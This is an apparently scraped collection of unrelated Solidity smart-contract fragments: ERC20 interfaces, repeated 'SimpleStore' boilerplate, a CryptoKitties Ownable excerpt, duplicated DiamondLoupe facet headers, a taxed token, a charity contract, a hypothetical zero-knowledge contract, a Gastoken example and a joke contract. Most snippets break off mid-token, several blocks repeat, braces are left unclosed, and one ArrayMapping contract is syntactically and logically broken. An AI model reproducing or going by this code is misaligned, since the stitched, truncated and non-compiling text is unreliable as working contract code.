https://twitter.com/MagicMilady
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, addre
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
/*
Здесь все вопросы
*
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contract
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.8.0;
contract HelloWorld {
string public message;
constructor() {
message = "Hello World!";
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import {console} from "forge-std/Test.sol";
import {TestHelper, IERC20, Call, Balances} from "test/TestHelper.sol";
import {AddLiquidityAction, RemoveLiquidityAction, LiquidityHelper} from "test/LiquidityHelper.sol";
import {Aquifer} from "src/Aquifer.sol";
import {SwapHelper, SwapAction, Snapshot} from "test/SwapHelper.sol";
contract WellAddLiquidityTest is LiquidityHelper {
function _setupWellWithoutAddingLiquidity(Call memory _wellFunction, Call[] memory _pumps, IERC20[] memory _tokens) internal {
tokens = _tokens;
wellFunction = _wellFunction;
for (uint256 i; i < _pumps.length; i++) {
pumps.push(_pumps[i]);
}
initUser();
wellImplementation = deployWellImplementation();
aquifer = new Aquifer();
well = encodeAndBoreWell(address(aquifer), wellImplementation, tokens, _wellFunction, _pumps, bytes32(0));
// Mint mock tokens to user
mintTokens(user, initia
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;
import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
/**
* @title DiamondLoupe Facet
* @dev DiamondLoupe contract compatible with EIP-2535
* @author David Yongjun Kim (@Powerstream3604)
*/
contract DiamondLoupeFacet is IDiamondLo
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;
import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
/**
* @title DiamondLoupe Facet
* @dev DiamondLoupe contract compatible with EIP-2535
* @author David Yongjun Kim (@Powerstream3604)
*/
contract DiamondLoupeFacet is IDiamondLo
contract ArrayMapping {
address[] public keys;
bytes4[] public values;
function setValue(address[] key, bytes4[] value) public {
//This will set the whole arrays
// Array in the format
// key[i] = value[j,j+1.....m]
}
function getValues(address key) public view returns (address[]) {
uint256 index = findIndex(key);
require(index < keys.length, "Key does not exist");
uint256 start_index, end_index = findValueIndex(index);
require(start_index< end_index, "Values does not exist");
return values[start_index:end_index];
}
function findValueIndex(uint256 vi) internal view returns (uint256, uint256) {
for (uint256 i=0; i <values.length; i++) {
uint256 start_index = 0;
uint256 end_index = 0
if (values[i].length == 0) {
index++;
if (start_index !=0) {
end_index = i-1;
return start_index, end_index;
contract ArrayMapping {
bytes4[] public keys;
address[] public values;
function setValue(bytes4 key, address value) public {
uint256 index = findIndex(key);
if (index < keys.length) {
values[index] = value;
} else {
keys.push(key);
values.push(value);
}
}
function getValue(bytes4 key) public view returns (address) {
uint256 index = findIndex(key);
require(index < keys.length, "Key does not exist");
return values[index];
}
function findIndex(bytes4 key) internal view returns (uint256) {
for (uint256 i = 0; i < keys.length; i++) {
if (keys[i] == key) {
return i;
}
}
return keys.length;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;
import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
/**
* @title DiamondLoupe Facet
* @dev DiamondLoupe contract compatible with EIP-2535
* @author David Yongjun Kim (@Powerstream3604)
*/
contract DiamondLoupeFacet is IDiamondLo
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.18;
import {IERC777Recipient} from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import {IERC165} from "../../interfaces/ERC/IERC165.sol";
import {IERC1271} from "../../interfaces/ERC/IERC1271.sol";
import {IERC677Receiver} from "../../interfaces/ERC/IERC677Receiver.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {LibDiamond} from "../../libraries/LibDiamond.sol";
import {LibLoupe} from "../../libraries/LibLoupe.sol";
import {IDiamondCut} from "../../facets/base/interfaces/IDiamondCut.sol";
import {IStorageLoupe} from "./interfaces/IStorageLoupe.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
/**
* @title DiamondLoupe Facet
* @dev DiamondLoupe contract compatible with EIP-2535
* @author David Yongjun Kim (@Powerstream3604)
*/
contract DiamondLoupeFacet is IDiamondLo
pragma solidity ^0.7.1;
contract A {
uint8 a;
}
contract B {
uint256[50] a;
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;
// import "./TCStoken.sol";
contract TransparentCharity {
// TCStoken public token;
// address public tokenContractAddress;
struct Donor {
string name;
uint256 balance;
address payable Address;
mapping(uint256 => uint256) donations; // project ID => donation amount
uint256[] transactionHistory;
}
struct CharityProject {
address payable beneficiary;
string name;
string title;
string desc;
string image;
uint256 goalAmount;
uint256 currentAmount;
//uint256 deadline;
bool isActive;
address[] donators;
uint256[] donations;
}
struct Beneficiary {
string name;
string rescueInformation;
// string[] documents;
address payable Address;
uint256 balance;
// mapping(uint256 => uint256) etherUsage; // project ID => token usage
uint256[] transactionH
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4 <0.9.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/utils/SafeERC20.sol";
interface ITaxDistributor {
function distributeTax() external;
}
contract SongbirdToken is ERC20 {
using SafeERC20 for IERC20;
event Trade(
address user,
address pair,
uint256 amount,
uint256 side,
uint256 circulatingSupply,
uint256 timestamp
);
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public cooldown = 3600;
ITaxDistributor public taxDistributor;
bool public inSwap;
uint256 public launchedAt;
address public swapVault;
address private deployer;
mapping(address => bool) public isFeeExempt;
mapping(address => uint256) public lastSellAt;
constructor(
string memory _n
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "bls12377.sol"; // Hypothetical library for BLS12-377
import "kzg.sol"; // Hypothetical library for KZG Commitments
import "plonk.sol"; // Hypothetical library for PLONK
contract ShieldContract {
// Trusted setup parameters for KZG Commitments
KZG.SetupParameters kzgSetup;
// Trusted setup parameters for PLONK
PLONK.SetupParameters plonkSetup;
constructor(KZG.SetupParameters memory _kzgSetup, PLONK.SetupParameters memory _plonkSetup) {
kzgSetup = _kzgSetup;
plonkSetup = _plonkSetup;
}
// This function allows a user to submit a proof without revealing their transaction details.
function submitProof(
KZG.Commitment memory commitment,
PLONK.Proof memory proof,
uint256 publicInput
)
public
{
// Verify the commitment using KZG
require(KZG.verify(kzgSetup, commitment), "KZG Commitment verification failed");
// Verify the zero kn
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract wasif {
//uint256 public age;
//string public name;
function savee_person(string memory _name, uint256 _age )
{
classx.push(Student({age: _age, name:_name}));
}
struct Student {
uint256 age;
string name;
}
Student[] public classx;
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4 <0.9.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.1/contracts/token/ERC20/utils/SafeERC20.sol";
interface ITaxDistributor {
function distributeTax() external;
}
contract SongbirdToken is ERC20 {
using SafeERC20 for IERC20;
event Trade(
address user,
address pair,
uint256 amount,
uint256 side,
uint256 circulatingSupply,
uint256 timestamp
);
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public cooldown = 3600;
ITaxDistributor public taxDistributor;
bool public inSwap;
uint256 public launchedAt;
address public swapVault;
address private deployer;
mapping(address => bool) public isFeeExempt;
mapping(address => uint256) public lastSellAt;
constructor(
string memory _n
/**
*Submitted for verification at Etherscan.io on 2023-05-29
*/
/**
* SourceUnit: g:\valleySound\Hechooo\jeton_transfer\contracts\BulkTransfer\jetonTransferTool.sol
*/
////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external vi
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
uint dada;
uint dodo;
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
0xa51a4410798b53039f2c2dB4356851608c04dE12
/*
* Frees `free' tokens from the Gastoken at address `
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title Dagmar Contract
* @dev Accepts ethereum and simulates a humorous relationship dynamic with Dagmar.
*/
contract Dagmar {
using SafeMath for uint256;
string[5] public reasons = [
"You forgot to put the toilet seat down!",
"You finished the last slice of pizza without asking!",
"You left your socks on the floor again!",
"You used all the hot water in the shower!",
"You forgot our anniversary!"
];
uint256 public argumentThreshold;
uint256 public hystericalArgumentCount;
event HystericalArgument(address indexed partner1, address indexed partner2, string reason);
/**
* @dev Constructor that initializes randomness.
*/
constructor() {
argumentThreshold = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 10 + 1;
}
/**
* @dev Simulates Dagmar's irresistible ch